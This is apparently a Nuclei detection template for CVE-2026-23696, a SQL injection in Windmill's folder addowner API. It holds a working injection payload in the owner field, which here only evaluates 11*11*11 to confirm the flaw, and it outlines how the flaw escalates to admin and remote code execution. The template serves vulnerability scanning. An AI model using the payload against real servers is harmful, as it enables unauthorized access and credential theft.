id: CVE-2026-23696 info: name: Windmill < 1.603.3 - SQL Injection author: chocapikk,DhiyaneshDk severity: critical description: | Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution. impact: | An attacker with any valid Windmill credentials (including operator accounts) can extract the JWT signing secret from the database, forge an admin token, escalate to super admin privileges, and execute arbitrary commands on the server. remediation: | Update Windmill to version 1.603.3 or later which sanitizes the owner input before SQL query construction. reference: - https://github.com/Chocapikk/Windfall - https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/ - https://nvd.nist.gov/vuln/detail/CVE-2026-23696 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-23696 epss-score: 0.13582 epss-percentile: 0.9624 cwe-id: CWE-89 metadata: verified: true max-request: 5 vendor: windmill-labs product: windmill tags: cve,cve2026,windmill,sqli,authenticated variables: folder: "{{to_lower(rand_text_alpha(8))}}" flow: | http("list-workspaces") && http("create-folder") && http("sqli-inject") && http("read-folder") && http("cleanup") http: - id: list-workspaces raw: - | GET /api/workspaces/list HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json matchers: - type: status status: - 200 internal: true extractors: - type: regex name: workspace part: body group: 1 regex: - '"id"\s*:\s*"([^"]+)"' internal: true - id: create-folder raw: - | POST /api/w/{{workspace}}/folders/create HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json {"name":"{{folder}}"} matchers: - type: word part: body words: - "Created folder" internal: true - id: sqli-inject raw: - | POST /api/w/{{workspace}}/folders/addowner/{{folder}} HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json {"owner":"x\"}',(SELECT to_jsonb(11*11*11)),true)--"} matchers: - type: status status: - 200 internal: true - id: read-folder raw: - | GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json matchers-condition: and matchers: - type: word part: body words: - '"x":1331' - type: status status: - 200 - id: cleanup raw: - | DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json matchers: - type: status status: - 200 internal: true # digest: 490a0046304402206a2b0c913b0d96ac38a35bdda8040ab01b9129d6dd2532790cb26178f8f8e92402205b0d0e7e07d2590869cdf9e56f812a8a07ac762ca265271480896f74eab2f547:922c64590222798bb761d5b6d8e72950